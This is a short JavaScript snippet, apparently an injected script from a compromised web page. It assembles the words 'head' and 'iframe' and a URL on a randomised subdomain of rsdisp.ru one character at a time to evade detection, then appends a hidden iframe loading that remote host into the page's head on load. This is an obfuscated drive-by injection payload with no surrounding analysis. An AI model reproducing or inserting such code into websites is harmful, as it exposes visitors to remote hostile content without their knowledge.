var redstream_hd = document.getElementsByTagName('h' + 'e' + 'a' + 'd')[0];
var redstream_tag = document.createElement('i' + 'f' + 'r' + 'a' + 'm' + 'e');
redstream_tag.src = 'h' + 't' + 't' + 'p' + ':' + '/' + '/' + 'd' + Math.round(Math.random() * 50 + 1) + '.' + 'r' + 's' + 'd' + 'i' + 's' + 'p' + '.' + 'r' + 'u' + '/' + '?' + 'i' + 'n' + '=1';
redstream_hd.appendChild(redstream_tag);